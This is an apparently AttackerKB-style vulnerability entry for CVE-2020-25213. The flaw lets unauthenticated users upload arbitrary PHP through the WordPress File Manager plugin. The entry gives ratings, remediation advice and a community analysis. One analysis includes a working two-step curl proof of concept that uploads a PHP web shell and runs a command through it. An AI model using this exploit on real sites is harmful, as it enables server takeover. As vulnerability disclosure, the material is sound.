Very High
CVE-2020-25213
Add Reference
Description
URL
Type
CVE-2020-25213
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Description
The File Manager (wp-file-manager) plugin before 6.9 for WordPress allows remote attackers to upload and execute arbitrary PHP code because it renames an unsafe example elFinder connector file to have the .php extension. This, for example, allows attackers to run the elFinder upload (or mkfile and put) command to write PHP code into the wp-content/plugins/wp-file-manager/lib/files/ directory. This was exploited in the wild in August and September 2020.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Rating this as very high as this is a widespread Wordpress plugin, and the vulnerability is easily exploitable. The vulnerability is due to an example file, lib/php/connector.minimal.php
, being left over in installations of the plugin. The file enables unauthenticated execution of select commands including an upload
command that allows for file upload which can lead to code execution on the server.
Note that disabling the plugin in Wordpress does not fix the vulnerability. The plugin should either be removed or updated to the patched version, which is v6.9
.
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery High
Technical Analysis
Confirming I was able to reproduce this vuln when it became known.
ETA PoC:
wvu@kharak:~$ curl -s http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php -F cmd=upload -F target=l1_ -F "upload[]=@-; filename=x.php" <<<'<?php passthru($_REQUEST["c"]); ?>' | jq { "added": [ { "isowner": false, "ts": 1599193366, "mime": "text/x-php", "read": 1, "write": 1, "size": "35", "hash": "l1_eC5waHA", "name": "x.php", "phash": "l1_Lw", "url": "/wp-content/plugins/wp-file-manager/lib/php/../files/x.php" } ], "removed": [], "changed": [ { "isowner": false, "ts": 1599193366, "mime": "directory", "read": 1, "write": 1, "size": 0, "hash": "l1_Lw", "name": "files", "phash": "l1_L3Zhci93d3cvaHRtbC93cC1jb250ZW50L3BsdWdpbnMvd3AtZmlsZS1tYW5hZ2VyL2xpYg", "volumeid": "l1_", "locked": 1 } ] } wvu@kharak:~$ curl http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/files/x.php -d c=id uid=33(www-data) gid=33(www-data) groups=33(www-data) wvu@kharak:~$
The first HTTP request uploads the PHP payload, and the second one executes it.
CVSS V3 Severity and Metrics
General Information
References
Miscellaneous
Additional Info
Technical Analysis
Report as Exploited in the Wild
What do we mean by "exploited in the wild"?
By selecting this, you are verifying to the AttackerKB community that either you, or a reputable source (example: a security vendor or researcher), has observed an active attempt by attackers, or IOCs related, to exploit this vulnerability outside of a research environment.
A vulnerability should also be considered "exploited in the wild" if there is a publicly available PoC or exploit (example: in an exploitation framework like Metasploit).